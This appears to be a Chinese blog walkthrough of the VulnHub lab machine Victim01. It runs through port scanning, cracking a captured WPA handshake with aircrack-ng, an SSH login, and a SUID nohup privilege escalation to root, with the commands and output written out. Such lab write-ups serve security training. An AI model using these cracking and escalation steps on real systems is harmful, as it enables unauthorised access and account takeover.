vulnhub:Victim01靶机
2024-10-21 14:29:54
kali:192.168.111.111
靶机:192.168.111.170
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.170
访问8999端口发现流量包WPA-01.cap
aircrack-ng爆破密码
aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap
使用流量包的ssid作用用户名登录ssh,密码:p4ssword
ssh dlink@192.168.111.170
提权
查找suid权限的文件
find / -user root -perm -u=s -exec ls -al {} \; 2> /dev/null
提权方法:https://gtfobins.github.io/gtfobins/nohup/#suid
nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
获得flag
dlink@victim01:~$ nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
nohup: ignoring input and appending output to 'nohup.out'
# id
uid=1002(dlink) gid=1004(dlink) euid=0(root) groups=1004(dlink)
# cd /root
# ls -al
total 68
drwx------ 7 root root 4096 Apr 7 2020 .
drwxr-xr-x 23 root root 4096 Apr 7 2020 ..
lrwxrwxrwx 1 root root 9 Aug 2 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Apr 7 2020 .cache
drwx------ 3 root root 4096 Aug 2 2019 .gnupg
-rw------- 1 root root 49 Apr 7 2020 .lesshst
drwxr-xr-x 3 root root 4096 Apr 7 2020 .local
-rw------- 1 root root 0 Apr 7 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 7 Apr 7 2020 .python_history
-rw-r--r-- 1 root root 66 Apr 7 2020 .selected_editor
drwx------ 2 root root 4096 Apr 7 2020 .ssh
-rw------- 1 root root 8201 Aug 3 2019 .viminfo
-rw-r--r-- 1 root root 207 Apr 7 2020 .wget-hsts
-rw-r--r-- 1 root root 556 Apr 7 2020 flag.txt
drwxr-xr-x 3 root root 4096 Apr 7 2020 snap
# cat flag.txt
Nice work!
.:##:::.
.:::::/;;\:.
()::::::@::/;;#;|:.
::::##::::|;;##;|::
':::::::::\;;;/::'
':::::::::::
|O|O|O|O|O|O
:#:::::::##::.
.:###:::::#:::::.
:::##:::::::::::#:.
::::;:::::::::###::.
':::;::###::;::#:::::
::::;::#::;::::::::::
:##:;::::::;::::###::: .
.:::::; .:::##::::::::::::::::
::::::; :::::::::::::::::##:: #rootdance
#
最新文章
- Pointer&#39;s NULL And 0
- apache 访问权限基本设置
- 快速切换目录软件推荐——autojump
- 问题分析探讨 -->; 大约有700W数据的表,把当天的10W数据select导入新表,整个原来的表就锁死
- Visual studio 内存不足的解决方案(out of memory)
- TypeError: not enough arguments for format string
- cf #214div2
- bom是什么?
- 关于Java和JavaScript对字符串截取处理的总结
- Oracle数据库(一)概述、基础与简单操作
- SSM-SpringMVC-17:SpringMVC中深度剖析HandlerAdapter处理器适配器底层
- [Swift]LeetCode592. 分数加减运算 | Fraction Addition and Subtraction
- Hive 导入 parquet 格式数据
- 基于react的MQ管理系统遇到的问题以及解决办法
- python包导入细节
- WinDbg下载符号文件
- Java虚拟机JVM简单理解
- 尚硅谷redis学习3-redis启动以后的杂项
- java 接口与工厂
- (转)TCP连接异常断开检测
热门文章
- vue-cli4.3中配置publicPath和router后,报错chunk-vendors.js:1 Uncaught SyntaxError: Unexpected token &#39;<;&#39;
- SpringBoot中常见问题
- 生成数据库文档 —— Spring Boot + Screw
- FreeRdp(一):主要数据结构
- linux安装oracle客户端
- OS-lab3
- 12组-Beta冲刺-1/5
- 网页识别语音插件annyang可以实现识别中文
- DDL数据定义--Hive中数据可和表的基本操作(增删改查)
- Java06 面向对象